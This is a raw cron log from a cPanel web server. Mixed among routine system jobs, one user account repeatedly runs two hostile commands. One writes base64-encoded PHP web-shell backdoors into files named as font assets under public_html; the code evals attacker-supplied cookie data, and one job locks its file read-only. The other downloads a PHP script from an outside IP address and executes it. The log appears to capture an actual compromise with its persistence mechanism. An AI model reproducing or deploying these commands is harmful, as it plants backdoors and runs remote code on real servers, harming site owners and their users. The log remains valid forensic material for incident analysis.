Sep 22 02:26:01 ip-184-168-122-23 CROND[28355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:26:01 ip-184-168-122-23 CROND[28359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:26:01 ip-184-168-122-23 CROND[28360]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:26:01 ip-184-168-122-23 CROND[28361]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 02:27:01 ip-184-168-122-23 CROND[28685]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:27:01 ip-184-168-122-23 CROND[28686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:27:01 ip-184-168-122-23 CROND[28687]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:27:01 ip-184-168-122-23 CROND[28688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:28:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep 22 02:28:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep 22 02:28:01 ip-184-168-122-23 CROND[28804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:28:01 ip-184-168-122-23 CROND[28805]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 02:28:01 ip-184-168-122-23 CROND[28808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:28:01 ip-184-168-122-23 CROND[28809]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:28:01 ip-184-168-122-23 CROND[28812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:29:01 ip-184-168-122-23 CROND[28910]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:29:01 ip-184-168-122-23 CROND[28913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:29:01 ip-184-168-122-23 CROND[28911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:29:01 ip-184-168-122-23 CROND[28912]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:30:01 ip-184-168-122-23 CROND[29021]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 02:30:01 ip-184-168-122-23 CROND[29023]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 02:30:01 ip-184-168-122-23 CROND[29024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:30:01 ip-184-168-122-23 CROND[29025]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 02:30:01 ip-184-168-122-23 CROND[29033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:30:01 ip-184-168-122-23 CROND[29029]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 02:30:01 ip-184-168-122-23 CROND[29032]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:30:01 ip-184-168-122-23 CROND[29030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:31:01 ip-184-168-122-23 CROND[29271]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:31:01 ip-184-168-122-23 CROND[29273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:31:01 ip-184-168-122-23 CROND[29274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:31:01 ip-184-168-122-23 CROND[29275]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:31:01 ip-184-168-122-23 CROND[29277]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 02:32:01 ip-184-168-122-23 CROND[29496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:32:01 ip-184-168-122-23 CROND[29498]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 02:32:01 ip-184-168-122-23 CROND[29500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:32:01 ip-184-168-122-23 CROND[29501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:32:01 ip-184-168-122-23 CROND[29503]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:33:01 ip-184-168-122-23 CROND[29715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:33:01 ip-184-168-122-23 CROND[29713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:33:01 ip-184-168-122-23 CROND[29714]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:33:01 ip-184-168-122-23 CROND[29716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:34:01 ip-184-168-122-23 CROND[29815]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:34:01 ip-184-168-122-23 CROND[29816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:34:01 ip-184-168-122-23 CROND[29818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:34:01 ip-184-168-122-23 CROND[29817]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 02:34:01 ip-184-168-122-23 CROND[29819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:35:01 ip-184-168-122-23 CROND[29978]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:35:01 ip-184-168-122-23 CROND[29980]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 22 02:35:01 ip-184-168-122-23 CROND[29981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:35:01 ip-184-168-122-23 CROND[29983]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:35:01 ip-184-168-122-23 CROND[29982]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 02:35:01 ip-184-168-122-23 CROND[29984]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 02:35:01 ip-184-168-122-23 CROND[29985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:35:01 ip-184-168-122-23 CROND[29987]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 02:36:01 ip-184-168-122-23 CROND[30108]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:36:01 ip-184-168-122-23 CROND[30109]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 02:36:01 ip-184-168-122-23 CROND[30112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:36:01 ip-184-168-122-23 CROND[30113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:36:01 ip-184-168-122-23 CROND[30114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:37:01 ip-184-168-122-23 CROND[30219]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:37:01 ip-184-168-122-23 CROND[30218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:37:01 ip-184-168-122-23 CROND[30221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:37:01 ip-184-168-122-23 CROND[30220]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:38:01 ip-184-168-122-23 CROND[30407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
